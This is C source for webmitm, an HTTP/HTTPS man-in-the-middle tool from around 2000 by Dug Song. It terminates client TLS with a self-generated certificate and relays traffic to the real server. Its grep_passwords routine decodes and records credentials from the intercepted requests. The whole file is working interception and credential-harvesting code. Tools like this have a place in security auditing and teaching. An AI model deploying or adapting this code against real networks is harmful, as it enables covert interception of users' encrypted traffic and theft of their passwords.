| /* |
| * webmitm.c |
| * |
| * HTTP / HTTPS monkey-in-the-middle. |
| * |
| * Copyright (c) 2000 Dug Song <dugsong@monkey.org> |
| * |
| * $Id: webmitm.c,v 1.11 2001/03/17 08:35:05 dugsong Exp $ |
| */ |
| |
| #include "config.h" |
| |
| #include <sys/param.h> |
| #include <sys/types.h> |
| #include <sys/socket.h> |
| #include <sys/wait.h> |
| #include <netinet/in.h> |
| #include <openssl/ssl.h> |
| #include <openssl/err.h> |
| |
| #include <err.h> |
| #include <errno.h> |
| #include <libnet.h> |
| #include <signal.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <unistd.h> |
| |
| #include "buf.h" |
| #include "record.h" |
| #include "version.h" |
| |
| #define CERT_FILE "webmitm.crt" |
| |
| int Opt_quiet = 0; |
| int Opt_debug = 0; |
| int Opt_read = 0; |
| int Opt_write = 0; |
| int Opt_dns = 1; |
| |
| int http_fd, https_fd; |
| int client_fd, server_fd; |
| SSL_CTX *ssl_client_ctx, *ssl_server_ctx; |
| SSL *ssl_client, *ssl_server; |
| struct sockaddr_in _________csin, ssin; |
| int do_ssl, sig_pipe[2]; |
| in_addr_t static_host = 0; |
| |
| extern int decode_http(u_char *, int, u_char *, int); |
| |
| static void |
| usage(void) |
| { |
| fprintf(stderr, "Version: " VERSION "\n" |
| "Usage: webmitm [-d] [<host>]\n"); |
| exit(1); |
| } |
| |
| static void |
| sig_chld(int signal) |
| { |
| if (write(sig_pipe[1], "x", 1) < 0) |
| warn("sig_chld"); |
| |
| } |
| |
| static void |
| sig_int(int signal) |
| { |
| close(http_fd); |
| close(https_fd); |
| record_close(); |
| exit(0); |
| } |
| |
| static void |
| reap_child(void) |
| { |
| pid_t pid, status; |
| |
| while ((pid = waitpid(-1, &status, WNOHANG)) > 0) { |
| if (Opt_debug) |
| warnx("child %d terminated with status %d", |
| pid, status); |
| } |
| } |
| |
| static void |
| err_ssl(int eval, char *msg) |
| { |
| char buf[128]; |
| |
| ERR_error_string(ERR_get_error(), buf); |
| err(eval, "%s", buf); |
| } |
| |
| static void |
| grep_passwords(u_char *buf, int len) |
| { |
| u_char obuf[1024]; |
| |
| if ((len = decode_http(buf, len, obuf, sizeof(obuf))) > 0) { |
| record(_________csin.sin_addr.s_addr, ssin.sin_addr.s_addr, |
| IPPROTO_TCP, ntohs(_________csin.sin_port), ntohs(ssin.sin_port), |
| "http", obuf, len); |
| } |
| } |
| |
| static void |
| cert_init(void) |
| { |
| struct stat sb; |
| |
| /* XXX - i am cheap and dirty */ |
| |
| if (stat(CERT_FILE, &sb) < 0) { |
| if (system("openssl genrsa -out " CERT_FILE " 1024") != 0) |
| err(1, "system"); |
| if (system("openssl req -new -key " CERT_FILE " -out " |
| CERT_FILE ".csr") != 0) |
| err(1, "system"); |
| if (system("openssl x509 -req -days 365 -in " CERT_FILE ".csr" |
| " -signkey " CERT_FILE " -out " CERT_FILE ".new")) |
| err(1, "system"); |
| if (system("cat " CERT_FILE ".new >> " CERT_FILE) != 0) |
| err(1, "system"); |
| |
| unlink(CERT_FILE ".new"); |
| unlink(CERT_FILE ".csr"); |
| |
| warnx("certificate generated"); |
| } |
| } |
| |
| static void |
| client_init(void) |
| { |
| if (fcntl(client_fd, F_SETFL, 0) < 0) |
| err(1, "fcntl"); |
| |
| if (do_ssl) { |
| ssl_client = SSL_new(ssl_client_ctx); |
| SSL_set_fd(ssl_client, client_fd); |
| |
| if (SSL_accept(ssl_client) == 0) |
| err_ssl(1, "SSL_accept"); |
| } |
| } |
| |
| static int |
| client_read(u_char *buf, int size) |
| { |
| if (do_ssl) { |
| return (SSL_read(ssl_client, buf, size)); |
| } |
| return (read(client_fd, buf, size)); |
| } |
| |
| static int |
| client_request(u_char *buf, int size) |
| { |
| struct buf *b, req; |
| char *p; |
| int i, reqlen; |
| |
| memset(&req, 0, sizeof(req)); |
| req.base = buf; |
| req.size = size; |
| reqlen = 0; |
| |
| /* XXX - i feel cheap and dirty */ |
| while ((i = client_read(req.base + req.end, req.size - req.end)) > 0) { |
| req.end += i; |
| |
| if (reqlen && buf_len(&req) >= reqlen) { |
| break; |
| } |
| else if ((i = buf_index(&req, "\r\n\r\n", 4)) > 0) { |
| reqlen = i + 4; |
| b = buf_tok(&req, NULL, reqlen); |
| buf_rewind(&req); |
| |
| if ((i = buf_index(b, "\r\nContent-length: ", 18)) < 0) |
| break; |
| |
| buf_skip(b, i + 18); |
| b = buf_getword(b, "\r\n", 2); |
| p = buf_strdup(b); buf_free(b); |
| reqlen += atoi(p); free(p); |
| } |
| } |
| reqlen = buf_len(&req); |
| |
| return (reqlen); |
| } |
| |
| static int |
| client_write(u_char *buf, int size) |
| { |
| if (do_ssl) { |
| return (SSL_write(ssl_client, buf, size)); |
| } |
| return (write(client_fd, buf, size)); |
| } |
| |
| static void |
| client_close(void) |
| { |
| if (do_ssl) { |
| SSL_free(ssl_client); |
| } |
| close(client_fd); |
| } |
| |
| static void |
| server_init(u_char *buf, int size) |
| { |
| struct buf *word, msg; |
| char *vhost; |
| int i; |
| |
| memset(&ssin, 0, sizeof(ssin)); |
| ssin.sin_family = AF_INET; |
| ssin.sin_port = do_ssl ? htons(443) : htons(80); |
| |
| if (static_host == 0) { |
| buf_init(&msg, buf, size); |
| |
| if ((i = buf_index(&msg, "\r\nHost: ", 8)) > 0) { |
| buf_skip(&msg, i + 8); |
| word = buf_tok(&msg, "\r\n", 2); |
| vhost = buf_strdup(word); |
| } |
| else { |
| i = buf_index(&msg, " http://", 8); |
| |
| if (i < 0 || i > 8) { |
| errx(1, "no virtual host in request"); |
| } |
| buf_skip(&msg, i + 8); |
| word = buf_tok(&msg, "/", 1); |
| vhost = buf_strdup(word); |
| } |
| ssin.sin_addr.s_addr = libnet_name2addr4(NULL, vhost, 1); |
| free(vhost); |
| |
| if (ssin.sin_addr.s_addr == ntohl(INADDR_LOOPBACK) || |
| ssin.sin_addr.s_addr == -1) { |
| errx(1, "couldn't resolve host in request"); |
| } |
| } |
| else ssin.sin_addr.s_addr = static_host; |
| |
| if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) |
| err(1, "socket"); |
| |
| if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) < 0) |
| err(1, "connect"); |
| |
| if (do_ssl) { |
| ssl_server_ctx = SSL_CTX_new(SSLv23_client_method()); |
| ssl_server = SSL_new(ssl_server_ctx); |
| SSL_set_connect_state(ssl_server); |
| |
| SSL_set_fd(ssl_server, server_fd); |
| |
| if (SSL_connect(ssl_server) < 0) |
| err_ssl(1, "SSL_connect"); |
| } |
| } |
| |
| static int |
| server_read(u_char *buf, int size) |
| { |
| if (do_ssl) { |
| return (SSL_read(ssl_server, buf, size)); |
| } |
| return (read(server_fd, buf, size)); |
| } |
| |
| static int |
| server_write(u_char *buf, int size) |
| { |
| if (do_ssl) { |
| return (SSL_write(ssl_server, buf, size)); |
| } |
| return (write(server_fd, buf, size)); |
| } |
| |
| static void |
| server_close(void) |
| { |
| if (do_ssl) { |
| SSL_free(ssl_server); |
| } |
| close(server_fd); |
| } |
| |
| static void |
| mitm_init(void) |
| { |
| struct sockaddr_in sin; |
| int i = 1; |
| |
| if (pipe(sig_pipe) < 0) |
| err(1, "pipe"); |
| |
| if ((http_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0 || |
| (https_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) |
| err(1, "socket"); |
| |
| if (setsockopt(http_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) < 0 || |
| setsockopt(https_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) < 0) |
| err(1, "setsockopt"); |
| |
| memset(&sin, 0, sizeof(sin)); |
| sin.sin_family = AF_INET; |
| sin.sin_addr.s_addr = INADDR_ANY; |
| |
| sin.sin_port = htons(80); |
| if (bind(http_fd, (struct sockaddr *)&sin, sizeof(sin)) < 0) |
| err(1, "bind"); |
| |
| sin.sin_port = htons(443); |
| if (bind(https_fd, (struct sockaddr *)&sin, sizeof(sin)) < 0) |
| err(1, "bind"); |
| |
| if (listen(http_fd, 3) < 0 || listen(https_fd, 3) < 0) |
| err(1, "listen"); |
| |
| SSL_library_init(); |
| SSL_load_error_strings(); |
| |
| ssl_client_ctx = SSL_CTX_new(SSLv23_server_method()); |
| |
| if (SSL_CTX_use_certificate_file(ssl_client_ctx, CERT_FILE, |
| SSL_FILETYPE_PEM) == 0) |
| err_ssl(1, "SSL_CTX_use_certificate_file"); |
| |
| if (SSL_CTX_use_PrivateKey_file(ssl_client_ctx, CERT_FILE, |
| SSL_FILETYPE_PEM) == 0) |
| err_ssl(1, "SSL_CTX_use_PrivateKey_file"); |
| |
| if (SSL_CTX_check_private_key(ssl_client_ctx) == 0) |
| err_ssl(1, "SSL_CTX_check_private_key"); |
| } |
| |
| static void |
| mitm_child(void) |
| { |
| u_char buf[8192]; |
| fd_set fds; |
| int i; |
| |
| if (Opt_debug) |
| warnx("new connection from %s.%d", |
| inet_ntoa(_________csin.sin_addr), ntohs(_________csin.sin_port)); |
| |
| client_init(); |
| |
| if ((i = client_request(buf, sizeof(buf))) < 0) |
| err(1, "client_request"); |
| |
| if (Opt_debug) |
| warnx("%d bytes from %s", i, inet_ntoa(_________csin.sin_addr)); |
| |
| if (Opt_debug > 1) |
| write(STDERR_FILENO, buf, i); |
| |
| server_init(buf, i); |
| |
| if (server_write(buf, i) != i) |
| err(1, "server_write"); |
| |
| if (!Opt_quiet) |
| grep_passwords(buf, i); |
| |
| for (;;) { |
| FD_ZERO(&fds); |
| FD_SET(client_fd, &fds); |
| FD_SET(server_fd, &fds); |
| |
| i = MAX(client_fd, server_fd) + 1; |
| if (select(i, &fds, 0, 0, 0) < 0) { |
| if (errno != EINTR) |
| break; |
| } |
| if (FD_ISSET(client_fd, &fds)) { |
| i = sizeof(buf); |
| if ((i = client_request(buf, i)) <= 0) |
| break; |
| |
| if (Opt_debug) |
| warnx("%d bytes from %s", |
| i, inet_ntoa(_________csin.sin_addr)); |
| |
| if (Opt_debug > 1) |
| write(STDERR_FILENO, buf, i); |
| |
| if (server_write(buf, i) != i) |
| break; |
| |
| if (!Opt_quiet) |
| grep_passwords(buf, i); |
| } |
| else if (FD_ISSET(server_fd, &fds)) { |
| i = sizeof(buf); |
| if ((i = server_read(buf, i)) <= 0) |
| break; |
| |
| if (Opt_debug) |
| warnx("%d bytes from %s", |
| i, inet_ntoa(ssin.sin_addr)); |
| |
| if (Opt_debug > 2) |
| write(STDERR_FILENO, buf, i); |
| |
| if (client_write(buf, i) != i) |
| break; |
| } |
| else err(1, "select"); |
| } |
| server_close(); |
| client_close(); |
| } |
| |
| static void |
| mitm_run(void) |
| { |
| fd_set fds; |
| int i; |
| socklen_t addr_len; |
| |
| signal(SIGCHLD, sig_chld); |
| signal(SIGINT, sig_int); |
| |
| if (fcntl(sig_pipe[0], F_SETFL, O_NONBLOCK) < 0 || |
| fcntl(sig_pipe[1], F_SETFL, O_NONBLOCK) < 0) |
| err(1, "fcntl"); |
| if (fcntl(http_fd, F_SETFL, O_NONBLOCK) < 0 || |
| fcntl(https_fd, F_SETFL, O_NONBLOCK) < 0) |
| err(1, "fcntl"); |
| for (;;) { |
| FD_ZERO(&fds); |
| FD_SET(http_fd, &fds); |
| FD_SET(https_fd, &fds); |
| FD_SET(sig_pipe[0], &fds); |
| |
| i = MAX(http_fd, https_fd); |
| i = MAX(sig_pipe[0], i); |
| if (select(i + 1, &fds, 0, 0, 0) < 0) { |
| if (errno != EINTR) |
| err(1, "select"); |
| } |
| if (FD_ISSET(sig_pipe[0], &fds)) { |
| while (read(sig_pipe[0], &i, 1) == 1) |
| ; /* empty non-blocking pipe */ |
| |
| reap_child(); |
| continue; |
| } |
| addr_len = sizeof(_________csin); |
| if (FD_ISSET(http_fd, &fds)) { |
| client_fd = accept(http_fd, (struct sockaddr *)&_________csin, &addr_len); |
| do_ssl = 0; |
| } |
| else if (FD_ISSET(https_fd, &fds)) { |
| client_fd = accept(https_fd, (struct sockaddr *)&_________csin, &addr_len); |
| do_ssl = 1; |
| } |
| else errx(1, "select failure"); |
| |
| if (client_fd < 0) { |
| if (errno != EINTR && errno != EWOULDBLOCK) |
| err(1, "accept"); |
| } |
| if (fork() == 0) { |
| close(http_fd); |
| |
| mitm_child(); |
| |
| exit(0); |
| } |
| close(client_fd); |
| } |
| } |
| |
| int |
| main(int argc, char *argv[]) |
| { |
| extern char *optarg; |
| extern int optind; |
| int c; |
| |
| while ((c = getopt(argc, argv, "dh?V")) != -1) { |
| switch (c) { |
| case 'd': |
| Opt_debug++; |
| break; |
| default: |
| usage(); |
| } |
| } |
| argc -= optind; |
| argv += optind; |
| |
| if (argc == 1) { |
| if ((static_host = libnet_name2addr4(NULL, argv[0], 1)) == -1) |
| usage(); |
| } |
| else if (argc != 0) usage(); |
| |
| record_init(NULL); |
| |
| cert_init(); |
| |
| mitm_init(); |
| |
| if (static_host == 0) { |
| warnx("relaying transparently"); |
| } |
| else warnx("relaying to %s", argv[0]); |
| |
| mitm_run(); |
| |
| exit(0); |
| } |